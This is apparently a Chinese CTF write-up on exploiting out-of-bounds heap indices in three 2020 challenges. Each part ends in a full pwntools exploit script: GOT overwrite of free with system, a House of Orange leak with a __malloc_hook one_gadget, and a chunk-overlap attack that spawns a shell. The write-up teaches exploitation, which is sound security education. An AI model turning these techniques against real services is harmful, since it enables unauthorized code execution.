0x01 写在前面
被问到这个问题,突然就意识到好像只能想到一个改got
表的思路,有点丢人emmmm
于是做个总结,如果还有遗漏,欢迎大佬在评论区指出,我会在后续文章完善。
0x02 越界篡改GOT表
适用情形
- 题目没有开启
FULL RELRO
保护。 - 程序有可用
GOT
表项。
以 2020-CISCN-摩尔庄园的记忆 为例
我是本题的出题人,本题理论上应当用于2020年全国大学生信息安全竞赛,但是不知为何此题未出现,本题将会后续更新到我的Github,需要的同学可以自取~
程序保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
程序分析
程序提供了四个功能:
- 用户指定一个
index
,随后在chunk_list[index]
下分配一个10 ~ 1010
之间大小的chunk
然后读入内容。(此处是窝写的有问题,本来是想限制在10 ~ 1000
的,所以会有1%
的概率分配chunk
失败导致程序退出。) -
free
掉指定位置的chunk
,并将对应指针清空,对应内存位置零。 - 可以修改任意一个
chunk
的前0x10
个字节。 - 打印指定
chunk
的内容。
漏洞分析
四个功能都存在index
溢出的问题,我们可以利用负数访问到非法内存。
再加上程序没有开启FULL RELRO
,因此我们可以直接篡改GOT
表完成利用。
漏洞利用
寻找可利用指针
首先我们我们需要寻找一个可控指针以用来任意地址读写,经过查看内存
发现有一个地址处形成了一个循环指针,这个位置的index
是chunk_list - 12
,我们就利用此处指针。
泄露可利用指针地址
creat(sh,1,'Chunk')
delete(sh,1)
show(sh,-12)
useful_point_addr = get_address(sh=sh,info='THIS IS A USEFUL POINT VALUE : ',start_string='| [lahm\'s name] > ',end_string='\n--')
泄露 Libc 地址
接下来我们将那个循环指针指向GOT
表内的函数,以泄露Libc
地址
edit(sh,-12,p64(useful_point_addr - 0x88))
show(sh,-12)
libc.address = get_address(sh=sh,info='GLIBC ADDRESS : ',start_string='| [lahm\'s name] > ',end_string='\n--',offset=-libc.symbols['free'])
劫持GOT
表,完成利用
我们接下来将free@GOT
篡改为system
,然后利用free
函数触发即可。
Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
Moles_world=ELF('./Moles_world', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./Moles_world")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./Moles_world")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def creat(sh,index,value):
sh.recvuntil('| [now] >')
sh.sendline('G')
sh.recvuntil('| [lahm\'s index] > ')
sh.sendline(str(index))
sh.recvuntil('| [lahm\'s name] > ')
sh.send(value)
def edit(sh,index,value):
sh.recvuntil('| [now] >')
sh.sendline('R')
sh.recvuntil('| [lahm\'s index] > ')
sh.sendline(str(index))
sh.recvuntil('| [lahm\'s name begin ten char] > ')
sh.send(value)
def show(sh,index):
sh.recvuntil('| [now] >')
sh.sendline('S')
sh.recvuntil('| [lahm\'s index] > ')
sh.sendline(str(index))
def delete(sh,index):
sh.recvuntil('| [now] >')
sh.sendline('A')
sh.recvuntil('| [lahm\'s index] > ')
sh.sendline(str(index))
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
creat(sh,0,'/bin/sh\x00')
creat(sh,1,'Chunk')
delete(sh,1)
show(sh,-12)
useful_point_addr = get_address(sh=sh,info='THIS IS A USEFUL POINT VALUE : ',start_string='| [lahm\'s name] > ',end_string='\n--')
edit(sh,-12,p64(useful_point_addr - 0x88))
show(sh,-12)
libc.address = get_address(sh=sh,info='GLIBC ADDRESS : ',start_string='| [lahm\'s name] > ',end_string='\n--',offset=-libc.symbols['free'])
edit(sh,-12,p64(libc.symbols['system']))
delete(sh,0)
# get_gdb(sh,stop=True)
sh.interactive()
get_gdb(sh,stop=True)
sh.interactive()
flag=get_flag(sh)
# try:
# Multi_Attack()
# except:
# throw('Multi_Attack_Err')
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
利用方式总结
此种利用方式就是利用了index
可控,进而在.text
段的.got
区域分配chunk
,进而控制GOT
指针后完成利用的方式。
0x03 越界任意写全局变量
适用情形
程序中可以向chunk_list
指针附近写入值。
以 2020-QWB-Just_a_Galgame 为例
程序保护
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序分析
程序提供了5
个功能:
- 申请一个大小为
0x68
大小的Chunk
。(上限申请6
个) - 向指定的
Chunk
进行一次越界写,即,向该chunk + 0x60
的位置写入0x10
个字节。(上限1
次) - 申请一个
0x1000
大小的Chunk
,在那之后,增加一次越界写次数。(上限1
次) - 依次打印所有
Chunk
的内容。(无上限次数) - 当且仅当输入
No bye!
时,退出程序。
漏洞分析
此题没有提供任何的free
函数调用,可以利用越界写来构造Top Chunk
,再利用House of Orange
的思路来leak Libc
。
然后,在edit
处存在另一个漏洞
此处在越界写时,程序使用了atoi
函数,同时也没有对我们输入的数字以及对转换后的数值进行任何形式的验证。
这将导致我们index
越界的情况发生。
漏洞利用
泄露libc
首先可以利用越界写来写Top Chunk
的size
字段
接下来申请一个大的chunk
现在,我们成功的向unsorted bin
加入了chunk
,接下来我们取回,即可泄露libc
creat_small(sh)
edit(sh,0,p64(0)+p64(0xf91))
creat_big(sh)
creat_small(sh)
show(sh)
libc.address = get_address(sh,info='LIBC ADDRESS IS => ',start_string='1: ',end_string='\n',offset=-0x3c5188)
利用越界达成任意写
此处要利用bye
函数处的漏洞,我们先在usr_want
位置写入__malloc_hook - 0x60
的值
bye(sh,p64(libc.symbols['__malloc_hook'] - 0x60))
然后利用edit
函数即可写__malloc_hook
为one_gadgat
edit(sh,8,p64(libc.address + one_gadgets[3]))
最后触发利用即可
Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
Just_a_Galgame=ELF('./Just_a_Galgame', checksec = False)
one_gadgets=[0x45226,0x4527a,0xf0364,0xf1207]
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./Just_a_Galgame")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./Just_a_Galgame")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def creat_small(sh):
sh.recvuntil('>> ')
sh.send('1')
def edit(sh,index,value):
sh.recvuntil('>> ')
sh.send('2')
sh.recvuntil('idx >> ')
sh.send(str(index))
sh.recvuntil('movie name >> ')
sh.send(value)
def creat_big(sh):
sh.recvuntil('>> ')
sh.send('3')
def show(sh):
sh.recvuntil('>> ')
sh.send('4')
def bye(sh,value):
sh.recvuntil('>> ')
sh.send('5')
sh.recvuntil('\nHotaru: Won\'t you stay with me for a while? QAQ\n')
sh.send(value)
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
creat_small(sh)
edit(sh,0,p64(0)+p64(0xf91))
creat_big(sh)
creat_small(sh)
show(sh)
libc.address = get_address(sh,info='LIBC ADDRESS IS => ',start_string='1: ',end_string='\n',offset=-0x3c5188)
bye(sh,p64(libc.symbols['__malloc_hook'] - 0x60))
edit(sh,8,p64(libc.address + one_gadgets[3]))
creat_small(sh)
# get_gdb(sh,stop=True)
sh.interactive()
flag=get_flag(sh)
# try:
# Multi_Attack()
# except:
# throw('Multi_Attack_Err')
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
0x04 越界篡改chunk结构
适用情形
- 越界可以修改
heap
内的内容 - 程序有
index
越界但是开启了全保护
以 2020-QWB-direct 为例
程序保护
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
程序分析
程序提供了5
个功能:
- 在用户指定的
index
(index < 0xF
)处申请一个指定大小(0 <= size <= 0x100
)的Chunk
。 - 在用户指定的
Chunk_list[index] + offset
处写入size - offset
长度的值。 - 释放指定的
Chunk_list[index]
,并将指针以及size
清除。 - 调用
opendir
打开一个路径。 - 调用
readdir
读取该路径下的所有目录进入点。
漏洞分析
在向chunk
写入内容时,由于没有对offset
做任何检查,因此可以越界修改上一个chunk
的任意内容,那么我们就可以利用Off-by-one
的思路构造Overlap
完成利用。
漏洞利用
篡改Size
域,构造Heap Overlap
首先申请两个chunk
,然后调用opendir
打开一个路径,由于opendir
的特性,将同步生成一个大小为0x8040
的chunk
creat(sh,0,0x18)
creat(sh,1,0x18)
open_dir(sh)
⚠️:最上方的大小为0x250
的chunk
为scanf
缓冲区,无视即可。
接下来,使用edit
函数修改第一个chunk
的size
域为0x8080
,进而构造heap Overlap
。
edit(sh,0,-8,8,p64(0x8040 + 0x10 + 0x10 + 0x10 + 0x10 + 0x1))
劫持DIR
结构体,泄露libc
基址
首先调用readdir
函数初始化整个DIR
结构体
get_dir(sh)
接下来将libc
地址推到我们即将打印的位置上
creat(sh,0,0x18)
creat(sh,3,0x78)
最后利用edit
函数将7fe1
处填充,以免截断即可完成libc
的泄露
creat(sh,4,0x88)
edit(sh,4,-8,8,"Libc--->")
get_dir(sh)
利用Use After Free
完成最终利用
delete(sh,1)
edit(sh,3,0,8,p64(libc.symbols['__malloc_hook'] - 0x13))
creat(sh,5,0x78)
creat(sh,6,0x78)
edit(sh,6,0,len('A'*0x13+p64(libc.address + one_gadgats[2])),'A'*0x13+p64(libc.address + one_gadgats[2]))
creat(sh,7,0x78)
Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
direct = ELF('./direct', checksec = False)
one_gadgats = [0x4f365,0x4f3c2,0x10a45c]
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./direct")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./direct")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def creat(sh,index,chunk_size):
sh.recvuntil('Your choice: ')
sh.sendline('1')
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Size: ')
sh.sendline(str(chunk_size))
def edit(sh,index,offset,input_size,value):
sh.recvuntil('Your choice: ')
sh.sendline('2')
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Offset: ')
sh.sendline(str(offset))
sh.recvuntil('Size: ')
sh.sendline(str(input_size))
sh.recvuntil('Content: ')
sh.sendline(value)
def delete(sh,index):
sh.recvuntil('Your choice: ')
sh.sendline('3')
sh.recvuntil('Index: ')
sh.sendline(str(index))
def open_dir(sh):
sh.recvuntil('Your choice: ')
sh.sendline('4')
def get_dir(sh):
sh.recvuntil('Your choice: ')
sh.sendline('5')
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
creat(sh,0,0x18)
creat(sh,1,0x18)
open_dir(sh)
creat(sh,2,0x18)
edit(sh,0,-8,8,p64(0x8040 + 0x10 + 0x10 + 0x10 + 0x10 + 0x1))
delete(sh,0)
get_dir(sh)
creat(sh,0,0x18)
creat(sh,3,0x78)
creat(sh,4,0x88)
edit(sh,4,-8,8,"Libc--->")
get_dir(sh)
libc.address = get_address(sh,info='LIBC ADDRESS IS ',start_string='c--->',end_string='\n',offset=-0x3ebca0)
delete(sh,1)
edit(sh,3,0,8,p64(libc.symbols['__malloc_hook'] - 0x13))
creat(sh,5,0x78)
creat(sh,6,0x78)
edit(sh,6,0,len('A'*0x13+p64(libc.address + one_gadgats[2])),'A'*0x13+p64(libc.address + one_gadgats[2]))
creat(sh,7,0x78)
# get_gdb(sh,stop=True)
sh.interactive()
flag=get_flag(sh)
# try:
# Multi_Attack()
# except:
# throw('Multi_Attack_Err')
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())